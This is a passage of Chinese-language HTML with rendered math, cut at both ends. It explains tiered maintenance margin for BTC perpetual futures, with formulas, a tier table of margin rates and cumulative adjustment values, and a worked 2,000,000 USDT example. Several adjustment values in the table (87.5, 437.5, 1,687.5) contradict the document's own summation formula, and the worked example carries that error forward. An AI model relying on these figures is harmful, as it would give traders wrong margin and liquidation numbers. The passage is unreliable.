style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:1em;"></span><span class="mord text"><span class="mord">(</span><span class="mord cjk_fallback">公式</span><span class="mord"> 7.2)</span></span></span></span></span></span></p><p><strong>币本位合约维持保证金：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">CM</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">MM</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">na</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:1em;"></span><span class="mord text"><span class="mord">(</span><span class="mord cjk_fallback">公式</span><span class="mord"> 7.3)</span></span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">res</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：合约维持保证金总和</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">U</span><span class="mord mathnormal mtight" style="margin-right:0.10903em;">M</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：U本位合约维持保证金</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">CM</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：币本位合约维持保证金</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10903em;">MM</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：维持保证金率（Maintenance Margin Rate）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">Q</span></span></span></span>：仓位数量（Position Quantity）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：标记价格（Mark Price）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">i</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">na</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：名义价值（Notional Value）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span>：累积调整值（Cumulative adjustment），用于阶梯式保证金计算的优惠减免</li></ul><p><strong>累积调整值C的详细解释：</strong></p><p>累积调整值 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> 是币安阶梯式保证金制度的核心，它通过<strong>减法</strong>为大仓位提供保证金优惠。这个设计基于&quot;规模经济&quot;的风险管理理念。</p><p><strong>阶梯式保证金示例（BTC永续合约）：</strong></p><table><thead><tr><th>仓位规模档位</th><th>维持保证金率</th><th>累积调整值 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span></th></tr></thead><tbody><tr><td>0 - 50,000 USDT</td><td>0.4%</td><td>0</td></tr><tr><td>50,000 - 250,000 USDT</td><td>0.5%</td><td>50</td></tr><tr><td>250,000 - 1,000,000 USDT</td><td>0.65%</td><td>87.5</td></tr><tr><td>1,000,000 - 5,000,000 USDT</td><td>1.0%</td><td>437.5</td></tr><tr><td>5,000,000+ USDT</td><td>1.25%</td><td>1,687.5</td></tr></tbody></table><p><strong>累积调整值的计算原理：</strong></p><p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span> 值的计算反映了各档位之间的保证金率差异累积：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:3.0788em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8011em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span>：累积调整值</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">S</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：第i档位的规模上限</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：第i档位的保证金率</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>：总档位数</li></ul><p><strong>实际计算示例：</strong></p><p>假设某交易者持有价值 2,000,000 USDT 的BTC永续合约多头仓位：</p><p><strong>传统线性计算（错误方式）：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8056em;vertical-align:-0.0556em;"></span><span class="mord">1.0%</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">20</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span><span class="mord text"><span class="mord"> USDT</span></span></span></span></span></span></p><p><strong>阶梯式计算（正确方式）：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">c</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.0833em;"></span><span class="mord">1.0%</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">437.5</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord">19</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">562.5</span><span class="mord text"><span class="mord"> USDT</span></span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：总仓位价值</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：最高档位保证金率</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span></span></span></span>：累积调整值</li></ul><p><strong>累积调整值的计算原理：</strong></p><p>阶梯式保证金的完整计算需要逐档累积：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.10764em;">f</span><span class="mord mathnormal mtight">u</span><span class="mord mathnormal mtight" style="margin-right:0.01968em;">ll</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.9291em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">A</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：第i档位的实际金额</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span 